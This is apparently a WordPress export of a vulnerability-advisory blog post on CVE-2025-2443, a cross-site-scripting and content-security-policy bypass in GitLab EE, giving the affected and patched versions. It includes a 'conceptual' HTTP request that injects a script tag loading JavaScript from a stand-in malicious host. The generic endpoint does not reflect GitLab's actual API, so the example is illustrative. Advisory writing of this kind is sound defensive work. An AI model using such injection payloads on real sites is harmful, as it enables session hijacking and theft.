{"id":55813,"date":"2025-06-28T20:25:35","date_gmt":"2025-06-28T20:25:35","guid":{"rendered":""},"modified":"2025-08-29T21:31:32","modified_gmt":"2025-08-30T03:31:32","slug":"cve-2025-2443-gitlab-ee-cross-site-scripting-xss-and-content-security-policy-bypass-vulnerability","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-2443-gitlab-ee-cross-site-scripting-xss-and-content-security-policy-bypass-vulnerability\/","title":{"rendered":"<strong>CVE-2025-2443: GitLab EE Cross-Site-Scripting (XSS) and Content Security Policy Bypass Vulnerability<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The software world is no stranger to vulnerabilities, and a new one has emerged in the form of CVE-2025-2443, a significant security flaw affecting GitLab Enterprise Edition (EE). The vulnerability allows potential attackers to carry out cross-site-scripting attacks and bypass the content security policy under specific conditions. This vulnerability is a significant concern for organizations using affected versions of GitLab EE, as it can facilitate <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5867-critical-vulnerability-in-rt-thread-5-1-0-leading-to-system-compromise-or-data-leakage\/\"  data-wpil-monitor-id=\"64044\">system compromise or data<\/a> leakages, presenting severe risks to data security and integrity.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-2443<br \/>\nSeverity: High (8.7 CVSS Score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: Required<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49415-path-traversal-vulnerability-in-fw-gallery-with-potential-for-system-compromise\/\"  data-wpil-monitor-id=\"63324\">Potential system<\/a> compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-56407704\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>GitLab EE | 16.6 &#8211; 17.9.6<br \/>\nGitLab EE | 17.10.0 &#8211; 17.10.4<br \/>\nGitLab EE | 17.11.0<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The exploit takes advantage of a flaw in the handling of GitLab EE&#8217;s user-generated content, allowing the attacker to inject malicious scripts that can <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-22236-minion-event-bus-authorization-bypass-vulnerability-posing-serious-security-threats\/\"  data-wpil-monitor-id=\"63322\">bypass the content security<\/a> policy. When a victim interacts with the malicious content, the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6512-script-execution-with-admin-privileges-on-brain2-server\/\"  data-wpil-monitor-id=\"63480\">script executes<\/a> within the user&#8217;s browser, leading to a successful cross-site-scripting attack. This exploit can be used to hijack user sessions, deface web pages, or redirect the user to malicious websites, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32878-critical-vulnerability-in-coros-pace-3-devices-leads-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"63323\">potentially leading to system<\/a> compromise or data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3172135568\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual example of a malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8029-critical-javascript-execution-vulnerability-in-thunderbird\/\"  data-wpil-monitor-id=\"67478\">JavaScript payload that could exploit this vulnerability<\/a>.<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/user\/posts HTTP\/1.1\nHost: vulnerable-gitlab-ee.com\nContent-Type: application\/json\n{\n&quot;post&quot;: {\n&quot;content&quot;: &quot;&lt;script src=&#039;https:\/\/malicious-website.com\/badscript.js&#039;&gt;&lt;\/script&gt;&quot;\n}\n}<\/code><\/pre>\n<p>In this example, a malicious user posts <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-9693-arbitrary-file-deletion-vulnerability-in-user-meta-user-profile-builder-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"90627\">content<\/a> containing a script tag that references a malicious JavaScript file hosted on a separate website. When another user views this post, their browser will load and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-50754-stored-cross-site-scripting-xss-vulnerability-leading-to-remote-code-execution-in-unisite-cms-5-0\/\"  data-wpil-monitor-id=\"74681\">execute the malicious script<\/a>.<\/p>\n<p><strong>Mitigation<\/strong><\/p>\n<p>The most effective way to mitigate this vulnerability is by applying the vendor-provided patch. GitLab has released patches for all affected versions: 17.9.7, 17.10.5, and 17.11.1. If immediate patching is not possible, organizations can implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary solution. However, these should not be seen as long-term solutions as they may not <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-50213-special-element-injection-vulnerability-in-apache-airflow-providers-snowflake\/\"  data-wpil-monitor-id=\"64043\">provide complete protection against the vulnerability<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The software world is no stranger to vulnerabilities, and a new one has emerged in the form of CVE-2025-2443, a significant security flaw affecting GitLab Enterprise Edition (EE). The vulnerability allows potential attackers to carry out cross-site-scripting attacks and bypass the content security policy under specific conditions. This vulnerability is a significant concern for [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[102],"product":[],"attack_vector":[81],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-55813","post","type-post","status-publish","format-standard","hentry","category-uncategorized","vendor-gitlab","attack_vector-xss"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/55813","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=55813"}],"version-history":[{"count":6,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/55813\/revisions"}],"predecessor-version":[{"id":83571,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/55813\/revisions\/83571"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=55813"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=55813"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=55813"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=55813"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=55813"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=55813"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=55813"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=55813"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=55813"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}